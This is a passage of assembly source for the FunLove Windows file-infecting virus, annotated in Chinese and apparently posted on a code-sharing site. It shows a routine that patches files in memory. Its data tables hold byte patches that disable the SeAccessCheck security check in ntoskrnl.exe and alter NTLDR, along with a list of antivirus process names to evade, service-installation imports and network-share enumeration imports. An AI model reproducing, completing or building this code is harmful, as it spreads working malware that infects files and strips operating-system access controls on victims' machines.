?? funlove_vir.txt
字號:
p_PatchAddr : DWORD, \得到補丁地址;
p_PatchSize : DWORD 得到循環的次數,這里是要修改的指令的字符串的長度;
LOCAL p_FileHandle : DWORD, \定義本地變量,存放文件句柄;
p_FileSize : DWORD, \定義本地變量,存放文件大小;
p_MapHandle : DWORD \定義本地變量,存放內存映射文件句柄;
USES esi,edi;保存esi,edi,本過程結束后自動恢復;
push p_Filename ----|
push 03 |
call OpenFile ------|判斷文件是否存在;
cmp eax,-1 ---------|
jz short PA_Exit----|不存在就退出;
mov p_FileHandle,eax;保存句柄;
push 00-------------|
push eax |
call GetFileSize----|得到文件大小;
mov p_FileSize,eax;保存文件大小;
push p_FileHandle---|
push eax |
call MapFile--------|建立內存映射文件;
or eax,eax
jz short PA_CloseFile;失敗,則跳轉關閉文件;
mov p_MapHandle,eax;保存內存映射文件句柄;
push eax -------|
call ViewMap----|映射內存對象;
or eax,eax ------------|
jz short PA_CloseMap---|失敗則關閉內存映射文件;
mov edx,eax;成功,保存句柄;
mov edi,eax;保存文件在內存中的起地址;
mov esi,p_PatchAddr;把補丁字符串的首地址給esi,為下面的比較做準備;
mov ecx,p_FileSize;得到文件大下,為下面的循環比較做準備;
PA_00:
push ecx;壓棧保存循環次數;
push esi;壓棧保存補丁字符串地址;
push edi;文件在內存中的地址入棧;
mov ecx,p_PatchSize;補丁大小入棧,這里是內層循環的次數;
repz cmpsb;比較,5個一組;
pop edi
pop esi
pop ecx
jz short PA_01;找到了,則修改;
inc edi;沒找到,edi加1,在內存中后移一位
loop PA_00;繼續尋找,ecx減1;
jmp short PA_Unmap;如果循環結束都沒有找到,就去pa_unmap,做清理工作;
PA_01:
mov ecx,p_PatchSize----------|
add esi,ecx |
repz movsb -----------------|打補丁了
PA_Unmap:
push edx ;開始保存的內存映射文件的句柄可以起作用了;
call UnmapViewOfFile;在當前應用程序的內存地址空間解除映射
PA_CloseMap:
push p_MapHandle;關閉一個內核對象(除非該對象的所有引用都已關閉否則對象不
call CloseHandle;會被實際刪除;
PA_CloseFile:
push p_FileHandle;關閉文件對象;
call CloseHandle;
PA_Exit:
ret
PatchFile ENDP
; ------------------------------------------------------------------------- ;
; --------------------------- Minor Routines -------------------------- ;
; ------------------------------------------------------------------------- ;
GetVS:
call $ + 5
pop ebx
sub ebx,offset GetVS + 5 - VStart
ret
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
RelocKernel32 PROC PASCAL NEAR
ARG r_Kernel32 : DWORD ;把開始壓入的值,彈出給變量,即是,kernel32的返回地址;
push r_Kernel32 ;壓棧,用堆棧傳遞參數給下面的調用;
call Whereis_GPA ;定位getprocaddress的地址,找到了它后面的其他的api就
辦了;
or eax,eax ; eax里面是whereis_gpa執行后的值,當前值為kernel32的基地址;
jz short RK_00;判斷是否成功,失敗退出
push eax ;壓棧eax,以堆棧傳值給先面的dll_relocate過程;
lea esi,[Kernel32_Functions @] ;把api的名字字符串的首 地址傳入esi,為下面的查找api地址做準備;
push esi
call DLL_Relocate ;開始查找api,獲取api的地址;
RK_00:
ret ;返回;
RelocKernel32 ENDP
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
RelocAdvapi32 PROC NEAR
lea eax,[ADVAPI32_Name @];取得高級api的名字字符串的地址;
push eax ;壓棧
call LoadLibraryA;通過loadlibrary加載advapi32.dll
or eax,eax------|
jz short RA_00--|失敗就退出;
push eax-----------------------------|這里的eax是加載后的dll的地址,搜索api |要用的到
lea esi,[ADVAPI32_Functions @] |
push esi |
call DLL_Relocate--------------------|成功就開始搜索advapi32里面的高級api的 地址
RA_00:
ret
RelocAdvapi32 ENDP
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
OpenFile PROC PASCAL NEAR
ARG o_Filename : DWORD, \從堆棧得到文件名;
o_OpenMode : DWORD 從堆棧的到打開方式;
push 20 --------|
push o_Filename |
call SetFileAttributesA-----|設置文件的屬性;
push 00---------------------|
push 80 |
push o_OpenMode |
push 00 |
push 00 |
push 0C0000000 |
push o_Filename |
call CreateFileA------------|打開一個文件,以讀寫的方式;
ret
OpenFile ENDP
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
MapFile PROC PASCAL NEAR
ARG m_FileHandle : DWORD, \從堆棧取得文件句柄;
m_FileSize : DWORD 從堆棧取得文件的大小;
push 00-----------------|
push m_FileSize |
push 00 |
push 04 |
push 00 |
push m_FileHandle |
call CreateFileMappingA-|建立內存映射文件,以傳遞的參數的大小建立;
ret
MapFile ENDP
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
ViewMap PROC PASCAL NEAR
ARG v_MapHandle : DWORD ;得到內存映射文件句柄;
push 00--------------|
push 00 |
push 00 |
push 02 |
push v_MapHandle |
call MapViewOfFile---|將文件映射對象映射到本程序的地址空間;
ViewMap ENDP
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
Wait_A_Little PROC NEAR
call GetTickCount---|
sub eax,[Tick @]---|取得當前的時間在和開始保存的比較看是否超過4秒了
cmp eax,4*1000d----|
jc short WAL_00---|沒有就繼續感染文件;
push 16d*1000d-------|
call Sleep-----------|超過了4秒了,就可是睡眠16秒;
call GetTickCount----|
mov [Tick @],eax----|把睡眠后的時間當作下次比較的標準保存在tick中
WAL_00:
ret
Wait_A_Little ENDP
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
GetRand PROC NEAR
push ecx
push edx
mov eax,[Rand @]
xor edx,edx
mov ecx,7FFFFFFF
mul ecx
inc eax
mov ecx,0FFFFFFFBh
div ecx
mov eax,edx
mov [Rand @],eax
pop edx
pop ecx
ret
GetRand ENDP
; ------------------------------------------------------------------------- ;
; -------------------------- INITIALIZED DATA ------------------------- ;
; ------------------------------------------------------------------------- ;
HostCode db 8 dup (?)
GPA_Sigs:
W9x db 0C2,04,00,57,6A,22,2Bh,0D2
NT4 db 0C2,04,00,55,8Bh,4C,24,0C
W2K db 00F,00,00,55,8Bh,0ECh,51,51
NTLDR db ‘NTLDR‘,0
NT4_NTLDR db 3Bh,46,58,74,07 ; signature (file check)
db 3Bh,46,58,0EBh,07 ; patch
W2K_NTLDR db 3Bh,47,58,74,07
db 3Bh,47,58,0EBh,07
NTOSKRNL db ‘WINNT\System32\ntoskrnl.exe‘,0
NT4_NTOSKRNL db 8A,0C3,5F,5E,5Bh,5Dh,0C2,28,00 ; SeAccessCheck
db 0B0,01,5F,5E,5Bh,5Dh,0C2,28,00
W2K_NTOSKRNL db 8A,45,14,5F,5E,5Bh,5Dh,0C2,28
db 0B0,01,90,5F,5E,5Bh,5Dh,0C2,28
SkipNames:
dd 139D7300h ; aler
dd 0F977200h ; amon
dd 118E7E1Eh ; _avp
dd 52886900h ; avp3
dd 0C886900h ; avpm
dd 13883207h ; f-pr
dd 168E7E0Fh ; navw
dd 0F997C12h ; scan
dd 128B7212h ; smss
dd 04907B05h ; ddhe
dd 00946F05h ; dpla
dd 00946F0Ch ; mpla
Process db ‘flcss.exe‘,0
Service db ‘FLC‘,0
; Minimal Import Section
VImports:
dd offset Kernel32_Pointers + I
dd -1,-1
dd offset Kernel32_Name + I
dd offset Kernel32_Relocated + I
db 14 dup (0)
Kernel32_Pointers dd offset Kernel32_Beep + I, 0
Kernel32_Relocated dd offset Kernel32_Beep + I, 0
Kernel32_Beep db ?,?,‘Beep‘,0
; Virus Imports
Kernel32_Name db ‘KERNEL32.dll‘,0
Kernel32_Functions:
CloseHandle: db 0B8,?,?,?,?,0FF,0E0,‘CloseHandle‘,0
CreateFileA: db 0B8,?,?,?,?,0FF,0E0,‘CreateFileA‘,0
CreateFileMappingA: db 0B8,?,?,?,?,0FF,0E0,‘CreateFileMappingA‘,0
CreateProcessA: db 0B8,?,?,?,?,0FF,0E0,‘CreateProcessA‘,0
CreateThread: db 0B8,?,?,?,?,0FF,0E0,‘CreateThread‘,0
FindFirstFileA: db 0B8,?,?,?,?,0FF,0E0,‘FindFirstFileA‘,0
FindNextFileA: db 0B8,?,?,?,?,0FF,0E0,‘FindNextFileA‘,0
FindClose: db 0B8,?,?,?,?,0FF,0E0,‘FindClose‘,0
GetCurrentProcessId: db 0B8,?,?,?,?,0FF,0E0,‘GetCurrentProcessId‘,0
GetDriveTypeA: db 0B8,?,?,?,?,0FF,0E0,‘GetDriveTypeA‘,0
GetFileSize: db 0B8,?,?,?,?,0FF,0E0,‘GetFileSize‘,0
GetProcAddress: db 0B8,?,?,?,?,0FF,0E0,‘GetProcAddress‘,0
GetTickCount: db 0B8,?,?,?,?,0FF,0E0,‘GetTickCount‘,0
GetSystemDirectoryA: db 0B8,?,?,?,?,0FF,0E0,‘GetSystemDirectoryA‘,0
LoadLibraryA: db 0B8,?,?,?,?,0FF,0E0,‘LoadLibraryA‘,0
MapViewOfFile: db 0B8,?,?,?,?,0FF,0E0,‘MapViewOfFile‘,0
ReadFile: db 0B8,?,?,?,?,0FF,0E0,‘ReadFile‘,0
SetFileAttributesA: db 0B8,?,?,?,?,0FF,0E0,‘SetFileAttributesA‘,0
SetFileTime: db 0B8,?,?,?,?,0FF,0E0,‘SetFileTime‘,0
Sleep: db 0B8,?,?,?,?,0FF,0E0,‘Sleep‘,0
UnmapViewOfFile: db 0B8,?,?,?,?,0FF,0E0,‘UnmapViewOfFile‘,0
VirtualAlloc: db 0B8,?,?,?,?,0FF,0E0,‘VirtualAlloc‘,0
VirtualFree: db 0B8,?,?,?,?,0FF,0E0,‘VirtualFree‘,0
WriteFile: db 0B8,?,?,?,?,0FF,0E0,‘WriteFile‘,0
; this function does only exist under Win9x
db 0
RegisterServiceProcess: db 0B8,?,?,?,?,0FF,0E0,‘RegisterServiceProcess‘,0
USER32_Name db ‘USER32.dll‘,0
RegisterClassA: db 0B8,?,?,?,?,0FF,0E0,‘RegisterClassA‘,0
ADVAPI32_Name db ‘ADVAPI32.dll‘,0
ADVAPI32_Functions:
OpenSCManagerA: db 0B8,?,?,?,?,0FF,0E0,‘OpenSCManagerA‘,0
OpenServiceA: db 0B8,?,?,?,?,0FF,0E0,‘OpenServiceA‘,0
CreateServiceA: db 0B8,?,?,?,?,0FF,0E0,‘CreateServiceA‘,0
StartServiceA: db 0B8,?,?,?,?,0FF,0E0,‘StartServiceA‘,0
StartServiceCtrlDispatcherA: db 0B8,?,?,?,?,0FF,0E0,‘StartServiceCtrlDispatcherA‘,0
RegisterServiceCtrlHandlerA: db 0B8,?,?,?,?,0FF,0E0,‘RegisterServiceCtrlHandlerA‘,0
SetServiceStatus: db 0B8,?,?,?,?,0FF,0E0,‘SetServiceStatus‘,0
MPR_Name db ‘MPR.dll‘,0
MPR_Functions:
WNetOpenEnumA: db 0B8,?,?,?,?,0FF,0E0,‘WNetOpenEnumA‘,0
WNetEnumResourceA: db 0B8,?,?,?,?,0FF,0E0,‘WNetEnumResourceA‘,0
WNetCloseEnum: db 0B8,?,?,?,?,0FF,0E0,‘WNetCloseEnum‘,0
VEnd:
; ------------------------------------------------------------------------- ;
; ------------------------- UNINITIALIZED DATA ------------------------ ;
; ------------------------------------------------------------------------- ;
Kernel32_Base dd ?
Rand dd ?
Tick dd ?
OS db ?
ALIGN 100
Buffer1 db 200 dup (0) ; Current Directory
Buffer2 db 200 dup (?) ; Search Buffer
Buffer3 db 2000 dup (?) ; Read Buffer
VSize equ offset VEnd - VStart
Phys_VSize equ 1000
Virt_VSize equ 4000
CODE ENDS
END main
原作者: Jackhy/CVC.GB
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -